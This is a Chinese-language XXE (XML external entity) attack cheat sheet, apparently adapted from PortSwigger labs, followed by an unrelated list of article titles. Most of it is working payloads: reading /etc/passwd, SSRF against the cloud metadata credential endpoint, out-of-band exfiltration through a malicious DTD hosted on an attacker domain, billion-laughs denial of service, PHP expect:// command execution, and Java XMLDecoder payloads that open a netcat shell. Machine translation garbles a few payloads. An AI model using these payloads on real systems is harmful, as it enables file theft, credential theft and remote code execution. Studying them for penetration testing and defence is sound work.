XXE -XML External Entity
XML外部实体攻击是针对解析XML输入的应用程序的一种攻击。
XML基础
大多数的这部分是从Portswigger页采取:https://portswigger.net/web-security/xxe/xml-entities
什么是XML?
XML代表“可扩展标记语言”。XML是一种设计用于存储和传输数据的语言。像HTML一样,XML使用标签和数据的树状结构。与HTML不同,XML不使用预定义标签,因此可以给标签指定描述数据的名称。在Web的早期历史中,XML成为一种流行的数据传输格式(“ AJAX”中的“ X”代表“ XML”)。但是,现在它的流行度已下降,而不再支持JSON格式。
什么是XML实体?
XML实体是一种表示XML文档中的数据项的方式,而不是使用数据本身。XML语言规范内置了各种实体。例如,实体&lt; 和&gt; 代表字符< 和> 。这些是用于表示XML标签的元字符,因此当它们出现在数据中时,通常必须使用其实体来表示。
什么是XML元素?
元素类型声明为XML文档中可能出现的元素的类型和数量,哪些元素可能在彼此内部出现以及它们必须出现的顺序设置规则。例如:
- <!ELEMENT stockCheck ANY> 表示任何对象都可以在父<stockCheck> </ stockCheck>内部 <!ELEMENT stockCheck EMPTY>表示它应该为空<stockCheck> </ stockCheck> <!ELEMENT stockCheck(productId,storeId)>声明<stockCheck> 可以具有子元素<productId> 和<storeId>
什么是文件类型定义?
XML文档类型定义(DTD)包含一些声明,这些声明可以定义XML文档的结构,可以包含的数据值的类型以及其他项。在XML文档开始处的可选DOCTYPE 元素中声明了DTD 。DTD可以完全独立地包含在文档本身中(称为“内部DTD”),也可以从其他位置加载(称为“外部DTD”),也可以将两者混合使用。
什么是XML自定义实体?
XML文档类型定义(DTD)包含一些声明,这些声明可以定义XML文档的结构,可以包含的数据值的类型以及其他项。在XML文档开始处的可选DOCTYPE 元素中声明了DTD 。DTD可以完全独立地包含在文档本身中(称为“内部DTD”),也可以从其他位置加载(称为“外部DTD”),也可以将两者混合使用。
什么是XML自定义实体?
XML允许在DTD中定义自定义实体。例如:
<!DOCTYPE foo [<!ENTITY myentity“我的实体值”>]>
此定义意味着对实体的任何使用都引用&myentity; XML文档中的内容将替换为定义的值:“ 我的实体值”。
什么是XML外部实体?
XML外部实体是一种自定义实体,其定义位于声明它们的DTD之外。
外部实体的声明使用SYSTEM 关键字,并且必须指定一个URL,应从该URL加载实体的值。例如:
<!DOCTYPE foo [<!ENTITY ext SYSTEM“ http://normal-website.com”>]>
URL可以使用file:// 协议,因此可以从文件加载外部实体。例如:
<!DOCTYPE foo [<!ENTITY ext SYSTEM“ file:/// path / to / file”>]>
XML外部实体提供了引发XML外部实体攻击的主要方法。
什么是XML参数实体?
有时,由于应用程序进行了某些输入验证或正在使用的XML解析器的某些强化,使用常规实体的XXE攻击被阻止了。在这种情况下,您可能可以改为使用XML参数实体。XML参数实体是一种特殊的XML实体,只能在DTD中的其他地方引用。就目前的目的而言,您只需要知道两件事。首先,XML参数实体的声明在实体名称之前包含百分比字符:
<!ENTITY%myparameterentity“我的参数实体值”>
其次,使用百分号而不是通常的与号来引用参数实体:%myparameterentity;
这意味着您可以通过XML参数实体使用带外检测来测试盲XXE,如下所示:
<!DOCTYPE foo [<!ENTITY%xxe SYSTEM“ http://f2g9j7hhkax.web-attacker.com”>%xxe; ]>
此XXE payload声明了一个称为xxe 的XML参数实体,然后在DTD中使用该实体。这将导致对攻击者域的DNS查找和HTTP请求,从而验证攻击是否成功。
主要攻击
大部分的这些攻击都来自Portswiggers XEE实验室:https://portswigger.net/web-security/xxe
新实体测试
在这次攻击中,我将测试一个简单的新ENTITY声明是否有效
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>
Read file 让我们尝试以不同的方式读取/etc/passwd 。对于Windows,您可以尝试阅读:C:windowssystem32driversetchosts 在第一种情况下,请注意SYSTEM“ file://etc/passwd ”也将起作用 <!--?xml version="1.0" ?--> <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]> <data>&example;</data>
如果Web服务器使用的是PHP,则第二种情况对于提取文件很有用 <!--?xml version="1.0" ?--> <!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]> <data>&example;</data> 在这第三种情况下,我们将Element stockCheck 声明为ANY <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ELEMENT stockCheck ANY> <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <stockCheck> <productId>&file;</productId> <storeId>1</storeId> </stockCheck3>
SSRF
XXE也可能会导致SSRF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
Blind SSRF
使用前面提到的技术,您可以使服务器访问您控制的服务器,以表明它容易受到攻击。但是,如果这不起作用,可能是因为不允许XML实体,因此您可以尝试使用XML参数实体:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
“盲” SSRF-带外泄露数据
在这种情况下,我们将使服务器加载带有恶意payload的新DTD,该payload将通过HTTP请求发送文件的内容(对于多行文件,您可以尝试通过ftp:// 对其进行过滤)。此解释来自Portswiggers实验室 https://portswigger.net/web-security/xxe/blind。
恶意DTD泄露/etc/hostname 文件内容的示例如下
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
该DTD执行以下步骤:
定义一个名为file 的XML参数实体,其中包含/ etc / passwd 文件的内容。
定义一个名为eval 的XML参数实体,其中包含另一个名为exfiltrate的XML参数实体的动态声明。该exfiltrate 实体将通过使含有的价值HTTP请求到攻击者的Web服务器进行评价文件的URL查询字符串中的实体。
使用eval 实体,这将导致对渗出实体进行动态声明。
使用exfiltrate 实体,以便通过请求指定的URL来评估其值。
然后,攻击者必须将恶意DTD托管在他们控制的系统上,通常是将其加载到自己的Web服务器上。例如,攻击者可能在以下URL上提供了恶意DTD:http : //web-attacker.com/malicious.dtd
最后,攻击者必须向易受攻击的应用程序提交以下XXE pyload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
此XXEpayload声明了一个称为xxe 的XML参数实体,然后在DTD中使用该实体。这将导致XML解析器从攻击者的服务器获取外部DTD并内联解释。然后执行恶意DTD中定义的步骤,并将/ etc / passwd 文件传输到攻击者的服务器。
基于错误(外部DTD)
在这种情况下,我们将使服务器加载一个恶意DTD,该DTD将在错误消息中显示文件的内容(仅当您可以看到错误消息时才有效)。https://portswigger.net/web-security/xxe
您可以使用恶意的外部DTD 触发包含/ etc / passwd 文件内容的XML解析错误消息,如下所示:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
该DTD执行以下步骤:
定义一个名为file 的XML参数实体,其中包含/ etc / passwd 文件的内容。
定义一个名为eval 的XML参数实体,其中包含另一个称为error的XML参数实体的动态声明。该错误的实体将通过加载一个不存在的文件名称中包含的价值进行评估文件实体。
使用eval 实体,这将导致执行错误实体的动态声明。
使用错误实体,以便通过尝试加载不存在的文件来评估其值,从而产生一条错误消息,其中包含不存在的文件的名称,即/ etc / passwd 文件的内容。
使用以下命令调用外部DTD错误:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
并且您应该在Web服务器响应的错误消息中看到文件的内容。
请注意,外部DTD允许我们在第二个(eval )中包含一个实体,但内部DTD禁止使用。因此,在不使用外部DTD的情况下(通常)强制错误是不起作用的。
基于错误(本地DTD)
那么当带外交互被阻止(外部连接不可用)时,XXE的盲目漏洞又如何呢?信息从这里。
在这种情况下,由于XML语言规范中的漏洞,仍有可能触发包含敏感数据的错误消息。如果文档的DTD使用内部和外部DTD 声明的混合,那么内部DTD可以重新定义在外部DTD中声明的实体。发生这种情况时,放宽了在另一个参数实体的定义内使用XML参数实体的限制。
这意味着,如果攻击者使用的XML参数实体重新定义了在外部DTD中声明的实体,则攻击者可以在内部DTD中使用基于错误的XXE技术。当然,如果阻塞了带外连接,则无法从远程位置加载外部DTD。相反,它必须是应用程序服务器本地的外部DTD文件。本质上,攻击涉及调用本地文件系统上恰好存在的DTD文件,然后重新触发该文件以重新定义现有实体,从而触发包含敏感数据的解析错误。
例如,假设服务器文件系统上的/usr/local/app/schema.dtd 位置有一个DTD文件,并且此DTD文件定义了一个名为custom_entity 的实体。攻击者可以通过提交混合DTD 来触发包含/ etc / passwd 文件内容的XML解析错误消息,如下所示:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
该DTD执行以下步骤:
定义一个名为local_dtd 的XML参数实体,其中包含服务器文件系统上存在的外部DTD文件的内容。
重新定义名为custom_entity 的XML参数实体,该实体已经在外部DTD文件中定义。该实体被重新定义为包含已描述的基于错误的XXE利用,用于触发包含/ etc / passwd 文件内容的错误消息。
使用local_dtd 实体,以便解释外部DTD,包括custom_entity 实体的重新定义值。这将导致所需的错误消息。
真实示例:使用GNOME桌面环境的系统通常在/usr/share/yelp/dtd/docbookx.dtd上具有一个包含称为ISOamso 实体的DTD。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
由于此技术使用内部DTD,因此您需要首先找到一个有效的DTD 。您可以执行以下操作:安装服务器使用的相同OS /软件,并搜索一些默认DTD ,或在系统内部获取默认DTD 列表,然后检查是否存在以下任何一个:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
DOS
Billion Laugh Attack <!DOCTYPE data [ <!ENTITY a0 "dos" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;"> <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;"> ]> <data>&a4;</data> Yaml攻击 a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] 隐藏的XXE表面
XInclude
一些应用程序接收客户端提交的数据,将其在服务器端嵌入到XML文档中,然后解析该文档。将客户端提交的数据放入后端SOAP请求中,然后由后端SOAP服务对其进行处理,就会发生这种情况。
在这种情况下,您无法进行经典的XXE攻击,因为您无法控制整个XML 文档,因此无法定义或修改DOCTYPE 元素。但是,您可能可以改用XInclude 。XInclude 是XML规范的一部分,该规范允许从子文档中构建XML文档。您可以在XML文档的任何数据值中放置XInclude 攻击,因此可以在仅控制放置在服务器端XML文档中的单个数据项的情况下执行攻击。
要执行XInclude 攻击,您需要引用XInclude 命名空间,并提供要包含的文件的路径。例如:
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
SVG-文件上传
一些应用程序允许用户上传文件,然后在服务器端进行处理。一些常见的文件格式使用XML或包含XML子组件。基于XML格式的示例是Office文档格式(例如DOCX)和图像格式(例如SVG)。
例如,一个应用程序可能允许用户上传图像,并在上传后在服务器上处理或验证这些图像。即使应用程序希望接收PNG或JPEG之类的格式,使用的图像处理库也可能支持SVG图像。由于SVG格式使用XML,因此攻击者可以提交恶意的SVG映像,因此可以隐藏攻击面以发现XXE漏洞。
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
您也可以尝试使用PHP“expact”包装器执行命令:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
请注意,读取文件的第一行或执行结果的第一行将显示在创建的图像内。因此,您需要能够访问SVG创建的图像。
内容类型:从x-www-urlencoded到XML
如果POST请求接受XML格式的数据,则可以尝试在该请求中利用XXE。
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
POST /hackingman HTTP/1.0
Content-Type: text/html
Content-Length: 7
<?xml version="1.0" encoding="UTF-8"><cicada>3301</cicada>
内容类型:从JSON到XEE
要更改请求,您可以使用名为“ Content Type Converter ” 的Burp扩展。在这里您可以找到以下示例:
Content-Type: application/json;charset=UTF-8
{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>
其他绕过
Base64
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
仅当XML服务器接受data:// 协议时,此方法才有效。
UTF-7
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
PHP Wrappers
Base64
提取index.php
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
提取外部资源
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
远程执行代码
如果PHP“expact”模块已加载
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
SOAP-XEE
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
RSS-XEE
具有RSS格式的有效XML,可以利用XXE漏洞。
Ping back
向攻击者服务器的简单HTTP请求
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
read file
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
阅读源代码
使用PHP base64过滤器
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
Java XMLDecoder XEE至RCE
XMLDecoder是一个Java类,它基于XML消息创建对象。如果恶意用户在调用readObject 方法时可以使应用程序使用任意数据,那么他将立即在服务器上执行代码。
使用Runtime().exec()
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>
ProcessBuilder
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
工具类
https://github.com/luisfontes19/xxexploiter
更多资源
https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf
https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html
Extract info via HTTP using own external DTD: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection
https://gist.github.com/staaldraad/01415b990939494879b4
https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9
https://portswigger.net/web-security/xxe
- Codeforces 714A Meeting of Old Friends
- Code forces 719A Vitya in the Countryside
- Hadoop数据分析平台实战——190Highcharts介绍离线数据分析平台实战——190Highcharts介绍
- HUST 1555 A Math Homework
- HUST 1541 Student’s question
- HDU 3785 寻找大富翁
- Hadoop数据分析平台实战——250JSSDK数据收集引擎编写离线数据分析平台实战——250JSSDK数据收集引擎编写
- HDU 2564 词组缩写
- 约瑟夫问题方法总结
- 欧里几德及扩展欧里几德算法
- Hadoop数据分析平台实战——260用户数据ETL离线数据分析平台实战——260用户数据ETL
- # Hadoop离线数据分析平台实战——230项目数据存储结构设计Hadoop离线数据分析平台实战——230项目数据存储结构设计
- ECJTUACM16 Winter vacation training #5 题解&源码
- Codeforces 716A Crazy Computer
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- C语言入门系列之12.位运算
- C语言经典习题100例(三)11-15
- Unity 3D自动对焦
- C语言经典习题100例(四)16-20
- C语言经典习题100例(六)26-30
- 再探Numpy中的axis(也是torch中的dim)
- 掌握好这几个css属性,少写100行js代码
- Flash写入性能下降问题
- 如何用开源项目申请 JetBrains 产品的 license
- npm -i 与npm install -S与-D的区别以及dependencies与devDependencies的区别
- axios POST提交数据的三种请求方式写法
- 将资源文件编译成源代码文件
- 一道简单的笔试题_时钟切换电路(Glitch-free clock switching circuit)
- 【STM32F429开发板用户手册】第26章 STM32F429的定时器应用之TIM1-TIM14的中断实现
- 【STM32F407开发板用户手册】第26章 STM32F407的定时器应用之TIM1-TIM14的中断实现